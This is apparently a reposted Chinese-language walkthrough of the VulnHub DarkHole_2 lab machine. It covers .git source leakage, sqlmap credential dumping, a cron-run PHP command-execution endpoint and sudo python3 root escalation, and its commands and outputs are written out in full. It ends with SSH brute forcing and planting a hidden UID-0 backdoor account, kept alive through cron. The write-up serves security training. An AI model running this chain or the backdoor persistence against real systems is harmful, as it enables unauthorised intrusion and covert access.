靶机部署
靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip
得到六个文件,使用虚拟机导入DarkHole_2.ovf文件
导入成功,打开虚拟机,到此虚拟机部署完成!返回到kali。
注意---靶机和kali的网络连接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。
2. 信息收集
2.1 探测IP
使用nmap扫描同一个段下存活的IP
nmap 192.168.206.0/24
┌──(root㉿kali201)-[~]
└─# nmap 192.168.206.0/24
扫描的结果我们可以看到
Nmap scan report for 192.168.206.3
Host is up (0.00099s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 00:0C:29:9E:13:0D (VMware)
查看网址
2.2 详细信息扫描
使用nmap对靶机开放的端口进行更详细的扫描:
nmap -A -T4 -p- 192.168.206.3
2.3 敏感目录
这里用的网站扫描工具是dirsearch,安装此工具
sudo apt-get install dirsearch
#安装此工具
dirsearch -u 192.168.206.3 -e *
扫描结果中我们发现有很多 .git 相关页面,我们应该考虑一个漏洞 git 源码泄露。
什么是git?
git 是一个版本控制工具,针对修改文件后进行的记录,方便后续历史记录的查找,你可以看到多个版本之间的差别。
当我们第一次运行.git工具时,它会自动在目录中生成个.git文件夹,里边有固定目录,记录着每个版本的差别和修改日期等相关信息。
2.4 指纹收集
whatweb -v 192.168.206.3
3.渗透过程
3.1 访问敏感目录
扫描敏感目录的时候扫出一个.git目录,访问一下发现确实有东西,那猜测一下这里会不会存在
3.2 git泄露,使用git-dumper分析git文件
使用pip3安装
pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn git-dumper
使用git-dumper下载git文件夹内容到backup文件夹:
git-dumper http://192.168.11.154/.git/ backup
切换到backup文件夹,查看日志
git log 命令:如果不带任何参数,它会列出所有历史记录,最近的排在最上方,显示提交对象的哈希值,作者、提交日期、和提交说明。如果记录过多,则按Page Up、Page Down、↓、↑来控制显示;按q退出历史记录列表。
git log
查看日志
我们可以看到有三次提交,还有提交的哈希值,作者,时间等等,那么历史版本之间就有可能存在漏洞。
┌──(root㉿kali201)-[/home/tools/backup]
└─# git log
commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master)
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:14:32 2021 +0300
i changed login.php file for more secure
commit a4d900a8d85e8938d3601f3cef113ee293028e10
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:06:20 2021 +0300
I added login.php file with default credentials
commit aa2a5f3aa15bb402f2b90a07d86af57436d64917
Author: Jehad Alqurashi <anmar-v7@hotmail.com>
Date: Mon Aug 30 13:02:44 2021 +0300
First Initialize
git diff
使用git diff对比三次版本,可以获取本次你在什么地方修改了代码。
三个哈希值一个一个试,得到了一组信息
[email protected] #用户名
321 #密码
登录网站,使用刚刚获取到的账号密码进行尝试,成功登录。
4. SQL注入漏洞
进到页面之后发现url有id=1的参数值,这里可以试一试SQL注入漏洞,用sqlmap测试一下。
4.1 获取当前用户的Cookie
4.2 利用cookie进行sql注入,爆破当前数据库
使用 sqlmap 可以自动检测SQL漏洞,获取数据库信息。
sqlmap详解
https://blog.csdn.net/qq_45719090/article/details/129241110
以下是此次用到的参数信息:
-u 网站信息
--current-db 当前的数据库名
--dbs 查看数据库
--batch 遇到选项全选yes
--tables 数据库中的表
-D 对应的数据库库名
-T 对应的数据可表名
-C 对应的数据库字段名
--dump 导出数据库
sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq --current-db
这样呢我们就得到了一个数据库名
4.3 获取数据库darkhole_2的表名
从上边得知 current database: "darkhole_2"
sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq -D darkhole_2 --tables --batch
得到两个表:
ssh
users
4.4 获取敏感信息
sqlmap -u http://192.168.206.3/dashboard.php?id=1 --cookie PHPSESSID=adjt54ksi0pef0otit85i3qcgq -D darkhole_2 -T ssh -dump
获取到用户和密码
用户 jehad
密码 fool
4.5 知道ssh的用户名和密码之后,我们可以尝试ssh连接.
5. 提权
5.1 查看信息
id
查看权限
jehad@darkhole:~$ id
uid=1001(jehad) gid=1001(jehad) groups=1001(jehad)
发现我们并不是0用户(root)
cat /etc/passwd
查看账号
1000以内是系统内部账号,1000以外是用户账号。
发现4个账户,root,lama,jehad,losy
lsat
查看用户登录历史信息
sudo -l
列出当前用户可执行的命令
jehad@darkhole:~$ sudo -l
[sudo] password for jehad:
Sorry, user jehad may not run sudo on darkhole.
cat .bash_history
#查看历史命令记录
发现本地有9999端口的服务.
systemctl list-units --type=service --state=running
#列出所有启动的系统服务
5.2 查看活动端口
netstat -lntp
#查看所有监听端口
jehad@darkhole:~$ netstat -lntp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:9999 :::* LISTEN 35445/ssh
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
netstat -antp
#查看所有已经建立的连接
如图所示: 可以看到 127.0.0.1:9999 端口存在活动。
查看一下本地服务的内容
curl "http://127.0.0.1:9999/?cmd=id"
6. 计划任务提权
定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。
计划任务提权的基本思路:
第一种,我们可以观察是否存在高危险的命令和运行程序,看看是否能提权。
第二种,查看是否可以通过普通用户修改里边的内容,改为ROOT运行的程序。
6.1 查看定时任务
cat /etc/crontab
#查看定时任务
我们可以看到一条有疑信息
losy cd /opt/web && php -S localhost:9999
定时任务由用户losy执行,在本地开启9999端口,接收并执行命令。
vi /etc/crontab
#编辑文件
发现并不能修改
6.2 查看目录中信息
cd /opt/web
jehad@darkhole:/$ cd /opt/web
jehad@darkhole:/opt/web$ ls -a
. .. index.php
jehad@darkhole:/opt/web$ cat index.php
<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>
通过上一步我们发现/opt/web目录下会定时运行HTTP服务,查看该目录下的index,发现里面是一个命令执行代码。
又因为该页面运行的权限是losy用户,所以可以使用losy用户的权限,执行系统命令
echo "Parameter GET['cmd']"; #输出内容到页面
if(isset($_GET['cmd'])){ #判断是否存在cmd参数传递的值
echo system($_GET['cmd']); #执行传递过来的命令
7. 获取losy的权限
定时任务由用户losy执行,在本地开启9999端口,接收并执行命令。访问本地的9999端口,发现cmd命令传递了进来,并显示出来。
jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999
Parameter GET['cmd']jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999?cmd=id
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)jehad@darkhole:/opt/web$ curl http://127.0.0.1:9999?cmd=whoami
Parameter GET['cmd']losy
查看历史记录,发现没有。去找家目录。
jehad@darkhole:~$ curl http://127.0.0.1:9999?
Parameter GET['cmd']jehad@darkhole:~$ curl http://127.0.0.1:9999?cmd=history
Parameter GET['cmd']jehad@darkhole:~$ ls
jehad@darkhole:~$
去找家目录,然后通过系统命令访问,能看到历史记录。
curl是一个命令行访问URL的工具,作用是发出网络请求,然后得到和提取数据,显示在"标准输出"(stdout)上面。可以用它构造http request报文,且可以解析服务器返回的http response,额外还支持cookie特性,可以用curl完成web浏览器的基本功能。
jehad@darkhole:~$ curl "http://127.0.0.1:9999/?cmd=id"
Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
uid=1002(losy) gid=1002(losy) groups=1002(losy)jehad@darkhole:~$
由上边可以看到这个服务是 losy 用户的。
能看到密码信息: password:gang
登录用户losy,登录成功
8. 得到root账户
发现用户 losy 有 root身份 执行python3的权限,利用Python来提权。
losy@darkhole:~$ sudo -l
Matching Defaults entries for losy on darkhole:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User losy may run the following commands on darkhole:
(root) /usr/bin/python3
sudo /usr/bin/python3 -c 'import os;os.execl("/bin/sh","sh","-p")'
成功得到root!大功告成。
补充
1. 暴力破解 lama 用户密码
我们发现共有四个用户
其中一个为lama,可以采用暴力破解用户密码,
这里使用medusa工具,得到 lama 用户密码为123
sudo medusa -M ssh -h 192.168.206.3 -u lama -P /usr/mima.txt -t 10 -F
登录lama,成功登陆
sudo -l
sudo 是Linux系统管理指令,是系统管理员允许让普通用户执行一些root命令的工具。
su 是切换用户
我们可以看到有三个ALL,表示他有root的全部权限
第一个ALL,表示从允许从任何终端访问sudo
第二个ALL:ALL,表示sudo命令被允许任意用户,任意组执行
sudo id
发现为最高权限
lama@darkhole:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
sudo bash
#使用系统管理员进入shell
bash 是许多Linux发行版默认的shell,类似于windows的CMD命令,使用bash就是启动一个Shell,从而执行操作系统,
sudo bash 就是使用系统管理员进入shell
我们也可以通过Python执行Bash命令,从而实现启动losy用户的shell。
losy@darkhole:~$ python3
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>>
>>> os.system("whoami")
losy
0
>>> os.system("id")
uid=1002(losy) gid=1002(losy) groups=1002(losy)
0
>>> exit()
...
losy@darkhole:~$
>>>
2. losy用户提权
使用用户losy拿到root权限,我们可以用以下命令
sudo python3
#管理员权限启动python3import os
os.system("bash")
losy@darkhole:~$ sudo python3
[sudo] password for losy:
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>>
>>> os.system("whoami")
root
0
>>> os.system("id")
uid=0(root) gid=0(root) groups=0(root)
0
>>> os.system("bash")
root@darkhole:/home/losy# whoami
root
root@darkhole:/home/losy# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.206.3 netmask 255.255.255.0 broadcast 192.168.206.255
inet6 fe80::20c:29ff:fe9e:130d prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:9e:13:0d txqueuelen 1000 (Ethernet)
RX packets 441241 bytes 311819728 (311.8 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 258619 bytes 36249989 (36.2 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8450 bytes 752185 (752.1 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8450 bytes 752185 (752.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
到现在我们三个用户账号都成功拿下!
此刻做一个总结:
jehad 没有sudo权限
losy 可以使用sudo执行python命令
lama 可以使用sudo执行任意命令
3. 留后门,以 losy 用户为例,特权创建账号,如此可以可以偷偷随时进入系统拜访。
在 linux 系统中,存在两个文件
/etc/passwd #存放用户名,任何权限用户都能查看
/etc/shadow #存放加密后的密码,且只能用 root 账户查看
格式如下:
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
losy@darkhole:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
创建 ocean 特权用户
losy@darkhole:~$ sudo python3
[sudo] password for losy:
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> cat /etc/passwd
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'cat' is not defined
>>>
>>> import os
>>> os.system("useradd -p `openssl passwd -1 -salt 'salt' 123456` ocean -o -u 0 -g root -G root -s /bin/bash -d /home/ocean")
ocean:x:0:0::/home/ocean:/bin/bash
创建成功,登录ocean用户
发现ssh [email protected] 登录不了
┌──(root㉿kali201)-[/usr]
└─# ssh ocean@192.168.206.3
ocean@192.168.206.3's password:
Permission denied, please try again.
ocean@192.168.206.3's password:
Permission denied, please try again.
ocean@192.168.206.3's password:
ocean@192.168.206.3: Permission denied (publickey,password).
但是可以在其他用户中切换为 ocean 用户
可以看到,ocean 用户默认显示为了 root。
losy@darkhole:~$ sudo python3
[sudo] password for losy:
Python 3.8.10 (default, Nov 22 2023, 10:22:35)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> os.system("su ocean")
root@darkhole:/home/losy# whoami
root
root@darkhole:/home/losy# id
uid=0(root) gid=0(root) groups=0(root)
root@darkhole:/home/losy#
如何害怕 ocean 用户发现被删,可以将此命令写入计划任务中,可以定时去执行这条命令。
原文始发于微信公众号(菜鸟小新):VulnHub-DarkHole_2 靶机详细渗透过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论